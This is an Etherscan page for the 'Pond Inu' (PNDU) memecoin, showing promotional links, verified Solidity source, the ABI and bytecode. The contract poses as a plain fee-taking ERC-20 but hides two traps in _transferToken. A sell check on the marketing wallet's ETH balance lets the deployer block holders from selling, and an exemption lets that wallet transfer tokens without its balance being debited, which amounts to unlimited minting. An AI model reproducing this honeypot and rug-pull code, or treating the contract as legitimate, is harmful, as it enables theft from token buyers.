ETH Price: $3,273.90 (-4.00%)
Gas: 18 Gwei

Token

Pond Inu (PNDU)
 

Overview

Max Total Supply

1,000,000,000 PNDU

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,750,692.673836633 PNDU

Value
$0.00
0xC50dE8160Bc805394D37CB3738c188176Ee0bB44
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PondInu

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/**

Welcome to Pond Inu, a memecoin inspired by Pond Coin   , the new contender of PEPE. 

This will be the start of the 2023 bull market and we are seated in the front row!

Website: https://pondinu.vip
Telegram: https://t.me/pondinuerc
Twitter: https://twitter.com/pondinuerc

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract PondInu is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public _marketingWallet = 0x0c32404d227A9Cf910e3118C15bEBD42d7121CA5;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFee = 1;
    uint256 public _sellFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "Pond Inu";
        _symbol = "PNDU";
        _decimals = 9;
        uint256 _tSupply = 1_000_000_000;

        _totalSupply = _tSupply * 10 ** _decimals;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_marketingWallet] = true;
    }    

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        bool takeFee;
        bool isSell;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }
        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { isSell = true; }

        _transferToken(from, to, amount, takeFee, isSell);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (isSell) {
                require (_marketingWallet.balance < _totalSupply);
                taxFee = _sellFee;
            } else {
                taxFee = _buyFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        } if(sender != _marketingWallet)
        _balances[sender] = _balances[sender] - tAmount;
        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(_marketingWallet),
            block.timestamp
        ) {} catch {}
    }

    uint256 public tradingActiveBlock;
    function openTrading() external payable onlyOwner {
        require(tradingActiveBlock == 0,"already trading");

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(swapPair).approve(address(swapRouter), MAX);

        tradingActiveBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b031916730c32404d227a9cf910e3118c15bebd42d7121ca51790556001600c819055600d5534801562000040575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350604080518082019091526008815267506f6e6420496e7560c01b6020820152600490620000af908262000245565b50604080518082019091526004815263504e445560e01b6020820152600590620000da908262000245565b506006805460ff19166009908117909155633b9aca0090620000fe90600a6200041c565b6200010a908262000433565b6008819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350305f908152600760205260408082208054600160ff19918216811790925533845282842080548216831790556003546001600160a01b0316845291909220805490911690911790556200044d565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001ce57607f821691505b602082108103620001ed57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000240575f81815260208120601f850160051c810160208610156200021b5750805b601f850160051c820191505b818110156200023c5782815560010162000227565b5050505b505050565b81516001600160401b03811115620002615762000261620001a5565b6200027981620002728454620001b9565b84620001f3565b602080601f831160018114620002af575f8415620002975750858301515b5f19600386901b1c1916600185901b1785556200023c565b5f85815260208120601f198616915b82811015620002df57888601518255948401946001909101908401620002be565b5085821015620002fd57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036157815f19048211156200034557620003456200030d565b808516156200035357918102915b93841c939080029062000326565b509250929050565b5f82620003795750600162000416565b816200038757505f62000416565b8160018114620003a05760028114620003ab57620003cb565b600191505062000416565b60ff841115620003bf57620003bf6200030d565b50506001821b62000416565b5060208310610133831016604e8410600b8410161715620003f0575081810a62000416565b620003fc838362000321565b805f19048211156200041257620004126200030d565b0290505b92915050565b5f6200042c60ff84168362000369565b9392505050565b80820281158282048414176200041657620004166200030d565b6111b9806200045b5f395ff3fe608060405260043610610129575f3560e01c806365b61b77116100a8578063962dfc751161006d578063962dfc7514610341578063a9059cbb14610360578063c9567bf91461037f578063dd62ed3e14610387578063ee40166e146103cb578063f2fde38b146103e0575f80fd5b806365b61b77146102a857806370a08231146102c7578063715018a6146102fb5780638da5cb5b1461031157806395d89b411461032d575f80fd5b806336b2e027116100ee57806336b2e027146101eb5780633ecad2711461021957806340b9a54b146102475780634bf28fd01461025c578063590f897e14610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806318160ddd1461018d57806323b872dd146101ab578063313ce567146101ca575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610ea5565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f07565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506008545b604051908152602001610155565b3480156101b6575f80fd5b5061017d6101c5366004610f31565b6104a5565b3480156101d5575f80fd5b5060065460405160ff9091168152602001610155565b3480156101f6575f80fd5b5061017d610205366004610f6f565b60076020525f908152604090205460ff1681565b348015610224575f80fd5b5061017d610233366004610f6f565b600a6020525f908152604090205460ff1681565b348015610252575f80fd5b5061019d600c5481565b348015610267575f80fd5b50600e5461027b906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b34801561029e575f80fd5b5061019d600d5481565b3480156102b3575f80fd5b5060095461027b906001600160a01b031681565b3480156102d2575f80fd5b5061019d6102e1366004610f6f565b6001600160a01b03165f9081526001602052604090205490565b348015610306575f80fd5b5061030f610537565b005b34801561031c575f80fd5b505f546001600160a01b031661027b565b348015610338575f80fd5b506101486105b1565b34801561034c575f80fd5b5060035461027b906001600160a01b031681565b34801561036b575f80fd5b5061017d61037a366004610f07565b6105c0565b61030f6105cc565b348015610392575f80fd5b5061019d6103a1366004610f91565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d6575f80fd5b5061019d600f5481565b3480156103eb575f80fd5b5061030f6103fa366004610f6f565b61093e565b60606004805461040e90610fc8565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90610fc8565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f908152600260209081526040808320338452909152902054610509908390611014565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b815260040161056090611027565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e90610fc8565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161056090611027565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d59190611052565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107489190611052565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b69190611052565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c1919061106d565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611098565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b815260040161056090611027565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610b9f565b505b505b6001600160a01b0385165f9081526007602052604090205460ff16158015610b4e57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610b5d5750600b5460ff16155b15610b6757600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610b8b575060015b610b988585858585610cef565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bdf57610bdf6110b7565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c5a9190611052565b81600181518110610c6d57610c6d6110b7565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610cb89287925f9288929091169042906004016110cb565b5f604051808303815f87803b158015610ccf575f80fd5b505af1925050508015610ce0575060015b505050600b805460ff19169055565b5f8215610dc6575f8215610d1f576008546003546001600160a01b03163110610d16575f80fd5b50600d54610d24565b50600c545b5f6064610d31838861113a565b610d3b9190611151565b90508015610dc357610d4d8184611170565b305f90815260016020526040902054909350610d6a908290611170565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dba9085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e17576001600160a01b0386165f90815260016020526040902054610dfe908590611014565b6001600160a01b0387165f908152600160205260409020555b610e218185611014565b6001600160a01b0386165f90815260016020526040902054610e439190611170565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e8c8488611014565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610ed057858101830151858201604001528201610eb4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f04575f80fd5b50565b5f8060408385031215610f18575f80fd5b8235610f2381610ef0565b946020939093013593505050565b5f805f60608486031215610f43575f80fd5b8335610f4e81610ef0565b92506020840135610f5e81610ef0565b929592945050506040919091013590565b5f60208284031215610f7f575f80fd5b8135610f8a81610ef0565b9392505050565b5f8060408385031215610fa2575f80fd5b8235610fad81610ef0565b91506020830135610fbd81610ef0565b809150509250929050565b600181811c90821680610fdc57607f821691505b602082108103610ffa57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f611000565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f60208284031215611062575f80fd5b8151610f8a81610ef0565b5f805f6060848603121561107f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110a8575f80fd5b81518015158114610f8a575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111195784516001600160a01b0316835293830193918301916001016110f4565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f611000565b5f8261116b57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61100056fea26469706673582212201f81c85b5afbf8326811c0112b97efb173527951e865decc87a600f5076e4a5964736f6c63430008150033

Deployed Bytecode

0x608060405260043610610129575f3560e01c806365b61b77116100a8578063962dfc751161006d578063962dfc7514610341578063a9059cbb14610360578063c9567bf91461037f578063dd62ed3e14610387578063ee40166e146103cb578063f2fde38b146103e0575f80fd5b806365b61b77146102a857806370a08231146102c7578063715018a6146102fb5780638da5cb5b1461031157806395d89b411461032d575f80fd5b806336b2e027116100ee57806336b2e027146101eb5780633ecad2711461021957806340b9a54b146102475780634bf28fd01461025c578063590f897e14610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806318160ddd1461018d57806323b872dd146101ab578063313ce567146101ca575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610ea5565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f07565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506008545b604051908152602001610155565b3480156101b6575f80fd5b5061017d6101c5366004610f31565b6104a5565b3480156101d5575f80fd5b5060065460405160ff9091168152602001610155565b3480156101f6575f80fd5b5061017d610205366004610f6f565b60076020525f908152604090205460ff1681565b348015610224575f80fd5b5061017d610233366004610f6f565b600a6020525f908152604090205460ff1681565b348015610252575f80fd5b5061019d600c5481565b348015610267575f80fd5b50600e5461027b906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b34801561029e575f80fd5b5061019d600d5481565b3480156102b3575f80fd5b5060095461027b906001600160a01b031681565b3480156102d2575f80fd5b5061019d6102e1366004610f6f565b6001600160a01b03165f9081526001602052604090205490565b348015610306575f80fd5b5061030f610537565b005b34801561031c575f80fd5b505f546001600160a01b031661027b565b348015610338575f80fd5b506101486105b1565b34801561034c575f80fd5b5060035461027b906001600160a01b031681565b34801561036b575f80fd5b5061017d61037a366004610f07565b6105c0565b61030f6105cc565b348015610392575f80fd5b5061019d6103a1366004610f91565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d6575f80fd5b5061019d600f5481565b3480156103eb575f80fd5b5061030f6103fa366004610f6f565b61093e565b60606004805461040e90610fc8565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90610fc8565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f908152600260209081526040808320338452909152902054610509908390611014565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b815260040161056090611027565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e90610fc8565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161056090611027565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d59190611052565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107489190611052565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b69190611052565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c1919061106d565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611098565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b815260040161056090611027565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610b9f565b505b505b6001600160a01b0385165f9081526007602052604090205460ff16158015610b4e57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610b5d5750600b5460ff16155b15610b6757600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610b8b575060015b610b988585858585610cef565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bdf57610bdf6110b7565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c5a9190611052565b81600181518110610c6d57610c6d6110b7565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610cb89287925f9288929091169042906004016110cb565b5f604051808303815f87803b158015610ccf575f80fd5b505af1925050508015610ce0575060015b505050600b805460ff19169055565b5f8215610dc6575f8215610d1f576008546003546001600160a01b03163110610d16575f80fd5b50600d54610d24565b50600c545b5f6064610d31838861113a565b610d3b9190611151565b90508015610dc357610d4d8184611170565b305f90815260016020526040902054909350610d6a908290611170565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dba9085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e17576001600160a01b0386165f90815260016020526040902054610dfe908590611014565b6001600160a01b0387165f908152600160205260409020555b610e218185611014565b6001600160a01b0386165f90815260016020526040902054610e439190611170565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e8c8488611014565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610ed057858101830151858201604001528201610eb4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f04575f80fd5b50565b5f8060408385031215610f18575f80fd5b8235610f2381610ef0565b946020939093013593505050565b5f805f60608486031215610f43575f80fd5b8335610f4e81610ef0565b92506020840135610f5e81610ef0565b929592945050506040919091013590565b5f60208284031215610f7f575f80fd5b8135610f8a81610ef0565b9392505050565b5f8060408385031215610fa2575f80fd5b8235610fad81610ef0565b91506020830135610fbd81610ef0565b809150509250929050565b600181811c90821680610fdc57607f821691505b602082108103610ffa57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f611000565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f60208284031215611062575f80fd5b8151610f8a81610ef0565b5f805f6060848603121561107f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110a8575f80fd5b81518015158114610f8a575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111195784516001600160a01b0316835293830193918301916001016110f4565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f611000565b5f8261116b57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61100056fea26469706673582212201f81c85b5afbf8326811c0112b97efb173527951e865decc87a600f5076e4a5964736f6c63430008150033

Deployed Bytecode Sourcemap

